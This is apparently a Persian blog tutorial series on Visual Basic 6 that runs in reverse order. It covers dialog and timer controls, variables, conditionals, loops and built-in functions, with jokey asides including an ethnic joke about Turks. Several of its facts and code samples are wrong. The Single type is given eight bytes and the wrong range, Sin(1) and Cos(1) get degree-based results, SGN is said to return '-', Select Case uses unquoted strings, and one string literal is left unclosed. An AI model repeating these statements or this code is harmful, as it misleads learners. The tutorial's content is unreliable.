۳- Show Printer گفتگوی انتخاب چاپگر را نمایش میدهد.
۴- Show Color گفتگوی انتخاب رنگ را نمایش میدهد.
۵- Show Font گفتگوی انتخاب فونت را نمایش میدهد.
۶- Show Help گفتگوی کمک ویندوز را نمایش میدهد.
برای ست کردن اینکه کنترل ما کدام گفتگو را نمایش دهد به صورت زیر عمل میکنیم:
CommonDialog1.ShowOpen
CommonDialog1.ShowSave
CommonDialog1.ShowFont
و غیره به همین سادگی.![]()
نمونه برنامه ۱ :
ابتدا یک کنترل جعبه گفتگو با نام CommonDialog1 روی فرم خود قرار دهید. یک دکمه فرمان به نام Command1 روی فرم خود قرار دهید روی دکمه فرمان خود دوبار کلیک کنید تا پنجره کد باز شود. سپس کدهای زیر را در روال رویداد Command1_Click بنویسید.
Private Sub Command1_Click
CommonDialog1.ShowColor
Form1.BackColor = CommonDialog1.Color
End Sub
تحلیل کد برنامه: در خط دوم ما گفتیم که کنترل جعبه گفتگو گفتگوی رنگ را باز کند.در خط سوم نیز گفتیم که رنگ پس زمینه فرم را برابر رنگ انتخابی جعبه گفتگوی رنگ کند.
در درس های بعد بیشتر با کنترل اسرار آمیز جعبه گفتگو آشنا میشویم.
عکسها از وبلاگ رفیقم: آموزش ویژوال بیسیک 6
کنترل تایمر به شما این امکان را میدهد که از ساعت داخل PC استفاده کنید.کنترل تایمر نیز یکی از مهمترین کنترل های مورد استفاده در برنامه های گوناگون اهم از مقدماتی و پیشرفته است.ساعت کامپیوتر در هر ثانیه ۱۸ رویداد تایمر تولید می کند. برای روال رویداد تایمر نیز میتوان کد نوشت.
تایمر کنترلی است که به مقدار فاصله زمانی که شما میخواهید یک کار را(که همان کدی است که داخل روال رویداد تایمر نوشته میشود)تکرار میکند.
مهمترین خاصیت کنترل تایمر Interval است که فاصله زمانی رویدادهای تایمر را مشخص میکند و بر حسب میلی ثانیه است.(هر ۱۰۰۰ میلی ثانیه یک ثانیه است.)
برنامه نویسان از کنترل تایمر برای نوشتن برنامه های پس زمینه و انیمیشن استفاده میکنند.برای استفاده از کنترل تایمر باید روی آن کنترل که شکل آن مانند یک ساعت رو میزی است دوبار کلیک کرد. کنترل تایمر هنگام اجرای برنامه نامریی میشود بنابراین مکان آن روی فرم زیاد مهم نیست.
برای اینکه شما با کنترل تایمر بیشتر آشنا شوید از یک نمونه برنامه استفاده میکنیم.
نمونه برنامه ۲:
ابتدا یک پروژه استاندارد بازکنید سپس روی فرم خود ۱ عدد کنترل تایمر بگذارید وبعد از آن نیز یک تکست بوکس (TextBox) روی فرم قرار دهیدو کدهای زیر را در پنجره کد (ViewCode) بنویسید.
()Private Sub Form1_Load
Text1.Text = "0
Timer1.Interval = 1000
End sub
Private sub Timer1_Timer
Text1.Text = Time
end sub
تحلیل کد برنامه: در خط دوم در روال رویداد لود فرم گفته شد که مقدار Text1 را برابر ۰ کند سپس در خط بعدی خاصیت Interval تایمر بابر با ۱۰۰۰ که معادل یک ثانیه میشود شد. در خط ششم نیز مقدار تکست باکس ما در هر ثانیه تغییر میکند و برابر با ساعت جاری سیستم میشود.
جلسه سوم هم به پایان رسید و کسی به من بیچاره هیچ نظری نداد آقا اگه فحش هم داری بده فقط نظر بده .![]()
امروز براتون یه سایت خوب رو معرفی میکنم که کار اون هم آموزش برنامه نویسی به زبان های گوناگون هست . شاید بعضی ها این سایت رو بشناسند ولی قطعآ بعضی دیگه نمیشناسن. اگه از من میشنوین یه سر به این سایت بزنین و سعی کنین که عضو سایت بشین.
سایت ایران ویج آموزش برنامه نویسی به زبان های مختلف
با سلام به تمام بروبچ ایران
امروز جلسه اول آموزش رو شروع می کنیم.
آموزش من برای افرادیه که حداقل از محیط ویژوال بیسیک وکار با منو های اون سردر میارن و میتونن برنامه هایی در حد یک ماشین حساب ساده رو بسازن.(البته اگر از محیط ویژوال هم سردر بیارن کافیه)
امروز درباره : ۱-متغیر ها و کار با آن ها و ثابت ها و کار با آن ها . ۲- دستورات شرطی در ویژوال بیسیک. ۳- حلقه های تکرار و کار با آنها و اهمیت آنها در برنامه و در آخر نیز ۴- تعدادی از توابع داخلی ویژوال بیسیک صحبت هایی می کنیم و برای کسایی که بلد نیستن به -آموزش میزاریم-
۱- متغیرها و ثابت ها
تعریف متغیر: متغیر مکانی در حافظه است که می تواند مقادیر مختلفی را بگیرد.
برای تعریف متغیر از دستور Dim استفاده میکنیم. متغیر ها دارای انواع مختلفی هستند که برای مثال میتوانیم به متغیر رشته ای عددی بولن و غیره اشاره کنیم که در پایین لیست انواع متغیر ها در ویژوال بیسیک آورده شده است.
نوع متغیر مقدار حافظه محدوده اعداد
بایت(Byte) یک بایت ۰ تا ۲۵۵
عددصحیح(Integer) دو بایت ۳۲۷۶۷ تا ۳۲۷۶۷-
عددصحیح بلند(Long) چهار بایت ۲۱۴۷۴۸۳۶۴۷ تا ۲۱۴۷۴۸۳۶۴۷-
اعداد اعشاری(Single) هشت بایت ۹۲۲۳۳۷۲۰۳۶۸۵۴۷۷.۵۸۰۵ تا منفی آن
رشته ای(String) به مقدار طول رشته(بی نهایت) ---------
تاریخ(Date) هشت بایت ---------
منطقی(Boolean) دو بایت ---------
مثال۱ :متغیری از نوع عدد صحیح با نام Ali تعریف کنید.
Dim Ali as Integer
در خط بالا Dim کلمه کلیدی تعریف متغیر و Ali نام متغیر و Integer نوع متغیر را نشان میدهد. توجه داشته باشید برای تعیین نوع متغیر باید حتما از As استفاده کنید.
تعریف ثابت: ثابت ها نیز مانند متغیر ها مکانی در حافظه هستند که مقادیری در آنها قرار میگیرد اما دیگر مقدار آنها تغییر نمیکند و همیشه ثابت است.
برای تعریف ثابت از کلمه Const استفاده میکنیم . (ثابت ها در برنامه نویسی بسیار مهم هستند.)
Const Ali = 123456789 که در این جمله کلمه Const تعیین کننده ثابت است و Ali نام ثابت و ۱۲۳۴۵۶۷۸۹ مقدار ثابت است.
---------------------------------------------------------------------------------------------------------->>
۲- دستورات شرطی در ویژوال بیسیک
اسم شرط با خودشه و همون طور که از اسمش معلومه باعث محدودیت های میشود. مثلا ما به کمک آنها میتوانیم دیکشنری های قدرتمند و پر سرعت بسازیم یا برای برنامه خود پسورد و یوزر قرار بدیم و خیلی کارهای دیگه که در این مقاله نمیگنجه.
انواع دستورات شرطی عبارتند از :
If ...............end if , If ..............Else ................. end if , Select Case .............End Select
, غیره که اینهایی را که نام برده شد پرکاربرد ترین و مهمترین آنها هستند.
الف- IF ....End IF :
دستور شرطی If ... End if که شکل کلی آن به صورت زیر است:
then شرط If
دستور یا دستورات
End If
مثال۱ :
if Ali = 123456789 then
Ali = 0
end if
در این مثال هر وقت مقدار متغیر Ali برابر با ۱۲۳۴۵۶۷۸۹ شد متغیر را برار ۰ کند.
ب - If ... Else ... End If :
این نوع دستور شرطی همانند دستور شرطی الف است فقط با این تفاوت که با نوشتن کلمه Else (به معنی در غیر این صورت ) ما میتوانیم در صورت تحقق نیافتن شرطمان کار دیگری انجام دهیم.
شکل کلی دستور:
Then شرط If
دستور یا دستورات
Else
دستور یا دستورات
End If
مثال۲ -
If Ali = 123456789 then
Ali = 0
Else
Ali = 10
End if
که در مثال بالا ما میگوییم که اگر متغیر Ali برابر ۱۲۳۴۵۶۷۸۹ شد متغیر را برار ۰ قرار دهد و در غیر این صورت ( هر وقت متغیر Ali برابر ۱۲۳۴۵۶۷۸۹ نشد) مقدار متغیر را برابر ۱۰ کند.
امیدوارم با توضیحات نه چندان خوب من تا اینجا خوب پیش رفته باشید. راستی یه جوک یادم اومد:
یه روز یه ترکه میره ماه عسل زنشو یادش میره با خودش ببره.
ج- دستور شرطی Select Case ... End Select
در این نوع دستور شرطی ما یک یا دوتا شرط قرار نمیدیم بلکه میتوانیم بی نهایت شرط قرار بدیم و برای برنامه خود محدودیت های بیشتری قرار بدیم. شکل کلی دستور شرطی (ج) در زیر آمده است.
متغیر مورد نظر که شرط روی آن صورت میگیرد Select Case
مقدار متغیر Case
دستور یا دستورات
...
End Select
که در دستور بالا Select Case کلمه کلیدی شرط است .
۰ متغیر مورد نظر که شرط روی آن اعمال میشود : این عبارت میتواند یک عبارت عددی یا متنی باشد.
۰ مقدار متغیر : مقداری است که اگر متغیر دارای آن شود دستورات زیرش اجرا میشود.
۰ دستور یا دستورات : تمامی اعمالی که شما میخواهید برنامه انجام دهد.
شاید درک این نوع دستور شرطی برای کسانی که مبتدی هستند مشکل باشد ولی با یک نمونه برنامه ومثال سعی میکنم به بهترین روش آموزش بدم.
مثال ۱ :
Dim Ali as String
Select Case Ali
Case Hello
"سلام" MsgBox
Case Welcome
"خوش آمدید" MsgBox
Case Air
"هوا" MsgBox
End Select
تحلیل کد برنامه : در مثال ۱ ابتدا ما یک متغیر رشته ای به نام (Ali) تعریف کردیم. در خط بعد شرط خود را اعمال کردیم بر روی متغیر (Ali) یعنی اینکه هر گاه مقدار متغیر ما برابر با چیزی که ما پیش بینی کرده ایم شود دستورات ما باید اجرا شوند. در خط سوم گفتیم که هر وقت مقدار متغیر Ali برابر Hello شد برنامه برای کاربر پیغامی نمایش دهد که پیغام آن "سلام" (معنی کلمه Hello) باشد. و بعد از آن هم به همین صورت دو مقدار دیگر برای متغیر پیش بینی کردیم و معنی آنها را نیز برای کاربر پیش بینی کردیم.(مانند یک دیکشنری انگلیسی به فارسی ساده.)
ممکن است کسانی که مقدماتی هستند از "MsgBox" چیزی دستگیرشان نشود ولی کلمه "MsgBox" مخفف کلمه "Message Box" است که معنی آن جعبه پیام میشود. در جلسات بعدی برای مقدماتی ها در باره جعبه پیام ها بیشتر صحبت میکنیم.
----------------------------------------------------------------------------------------->>
۳ - حلقه های تکرار :
حلقه های تکرار در ویژوال بیسیک بسیار مهم هستند و باعث میشوند علاوه بر نوشتن برنامه های حرفه ای و قدرتمند تعداد خطوطی که ما میخواهیم به عنوان کد برنامه بنویسیم به مقدار چشم گیری کاهش پیدا کند و در نوشتن برنامه وقت کمتری صرف شود.
ما در این بخش تعدادی از حلقه های تکرار (که از همه پر کاربرد تر و مهمتر هستند ) را معرفی میکنیم.
انواع حلقه های تکرار عبارتند از : For ... Next , Do ....Loop , while ... Wend
که مهمترین آنها حلقه For ... Next است.
الف- حلقه For ... Next
با استفاده از این حلقه ما میتوانیم تعدادی از دستورات را به تعداد مشخص تکرار کنیم مزیت این حلقه این است که ما میدانیم دستوراتمان چند بار باید تکرار شوند . حلقه For مانند یک کنتور عمل میکند و تعداد دفعاتی که دستورات داخل حلقه اجرا میشود را می شمارد.
شکل کلی حلقه For به صورت زیر است :
عدد انتها To عدد شروع = متغیر شمارنده For
دستور یا دستورات
[متغیر شمارنده] Next
۰ متغیر شمارنده : یک نوع متغیر عددی (Integer Or Long Or ..) است که تعداد شمارش را در خود نگه میدارد.
۰ عدد شروع و عدد انتها : عدد هایی هستند که نشان میدهند حلقه ما از چه عددی شروع به چرخش کند تا به یک عدد که عدد انتها است برسد.(مثلا: For X = 1 To 100 که متغیر X از یک شروع به شماره اندازی میکند تا صد.)
۰ دستور یا دستورات : دستوراتی هستند که در طی حلقه به مقدار عدد ابتدا تا حدد انتها اجرا میشوند.
نمونه برنامه ۱ : در این قسمت من برای شما پروژه عملی را مینویسم تا مطالب را بهتر درک کنید.
برنامه ویژوال بیسیک را باز کنید و در پنجره New Project کلید اینتر را فشار دهید (یا Open را بزنید).
یک Text Box و یک Command Button بر روی فرم خود قرار دهید و آنها را به سلیقه خودتان روی فرم مرتب کنید.
روی Command1 که خودتان روی فرم قرار داده اید ۲ بار کلیک کنید تا پنجره کد(پنجره VeiwCode) باز شود. بعد زیر () Sub Command1_Click جملات پایین را بنویسید.
Dim I as integer
For I = 1 to 100
Text1.Text=Text1.Text + str(i)
Next
تحلیل کد برنامه: در خط اول ابتدا متغیری به نام "I" را از نوع عدد صحیح تعریف کردیم. در خط دوم حلقه خود را بر اساس متغیر I شروع کردیم و گفتیم که دستورات ما باید ۱۰۰ با اجرا شود ( از ۰ تا ۱۰۰). در خط سوم با نوشتن دستورات گفتیم که برنامه برای ما اعداد بین ۰ تا ۱۰۰ را برای ما نمایش دهد (در TextBox نمایش داده شود.) و در خط آخر نیز حلقه خود را به اتمام رساندیم.
ب- حلقه Do ...
این حلقه نیز یکی از حلقه های مهم ویژوال بیسیک است و مانند حلقه For ... Next عمل میکند با این تفاوت که تعداد دفعات اجرایی دستورات معلوم نیست و با توجه به یک شرط که اگر True باشد دستورات را تکرار میکند و اگر False باشد می ایستد و دیگر دستورات را تکرار نمیکند.
شکل کلی حلقه Do ... Loop به صورت زیر است:
شرط Do
جملات
[Exit Do]
جملات
فعلا این دو حلقه برای برنامه های ما کافی هستند و نیاز ما را برطرف میکنند پس ما به مسایل مهمتر میپردازیم.
----------------------------------------------------------------------------------------------------------->>
۴ - توابع داخلی ویژوال بیسیک:
در ویژوال بیسیک تابع هایی وجود دارد که نیازهای شمارا به مقدار قابل توجهی برطرف میکند.
توابع در ویژوال بیسیک انواع مختلف دارد که ما در این بخش به مطالعه توابع کار با اعداد و توابع محاسباتی و توابع کار با رشته ها و توابع تاریخ و زمان می پردازیم.
الف- توابع محاسباتی:
۱ - تابع قدر مطلق که ساختار تابع به صورت زیر است.
(مقدار عددی) ABS
مثال: در دستور زیر مقدار ۱ برگردانده میشود.
(۱-) ABS
۲- تابع سینوس که ساختار آن به صورت زیر است.
(مقدار عددی) Sin
مثال: مقدار برگشتی دستور زیر برابر ۰۱۷۴/ ۰ میشود.
(۱) Sin
۳- تابع کسینوس که ساختار آن به صورت زیر است.
(مقدارعددی) Cos
مثال : مقدار برگشتی تابع زیر برابر ۹۹۹/ ۰ است.
(۱) Cos
۴- تابع جذر که شکل کلی آن به صورت زیر است.
(مقدار عددی) SQR
مثال : مقدار برگشتی تابع زیر برابر ۳ میشود.
(۹) SQR
۵- تابع علامت. این تابع علامت یک عدد را برمیگرداند که ساختار آن به صورت زیر است.
(مقدار عددی) SGN
مثال : مقدار برگشتی تابع زیر برابر "-" است.
(۶-) SGN
۶- تابع فیکس. این تابع اعداد بعد از اعشار یک عدد را قطع میکند و به قول خودمون رندش میکنه.
(عدد) Fix
مثال: مقدار برگشتی تابع زیر برابر ۲۰ است.
(۲۰.۱۵۴) Fix
در ویژوال بیسیک توابع محاسباتی بسیار زیادی وجود دارد که بعدآ لیستی از ۱۰۰ تا ۲۰۰ تا از آنها را برای شما دوستان میزارم.
ب- توابع کار با رشته ها:
رشته ها ثابت یا متغیر هایی هستند که حروف الفبا در آنها ذخیره میشود.
۱- تابع تبدیل عدد به رشته. این تابع یک عدد را میگیرد و آن را به رشته تبدیل میکند. ساختارآن به صورت
(عدد) STR
نکته: اگر شما بخواهید یک عدد را به یک رشته متصل کنید باید حتما آن عدد را به رشته تبدیل کنید وگر نه کامپایلر برنامه به شما خطا میدهد. بنابراین تابع "STR" یکی از توابع مهم ویژوال بیسیک است.
۲- تابع Space . این تابع همان طور که از نامش معلومه به مقدار مورد نظر برای ما بین رشته ها جای خالی قرار میدهد که ساختار آن به صورت زیر است.
(تعداد جاخالی که میخواهد گذاشته شود) Space
مثال: مقدار برگشتی در این مثال برابر Ali 123 است.(به فضای بین علی و ۱۲۳ توجه کنید.)
X = Ali
Y = 123
Z = X + Space(5) + Y
۳- تابع UCase. این تابه حروف یک رشته را به صورت حروف بزرگ برمی گرداند و ساختار آن به این صورت است:
(هر رشته ای که دلت میخواد) UCase
مثال: مقدار برگشتی تابع زیر برابر "MASOUD" است.
UCase("masoud") 'Horof Bozorg Mishavand
توجه: جملات سبز رنگ را نخونید سنگین تر هستید.
۴- تابع Lcase . این تابع دقیقآ برعکس تابع Ucase است.
توابع رشته ای بسیار زیادی وجود دارد که ما فقط به تعداد کمی از آنها اشاره کردیم بلکه هدف ما از این کار سرکار گذاشتن شما بود.
شوخی کردم بابا در این مطلب نمیگنجه.
امیدوارم بتونی با یه نظر خشک و خالی یه حالی به ما بدی.
قربون همتون تا جلسه دوم بای سیکل.
|
|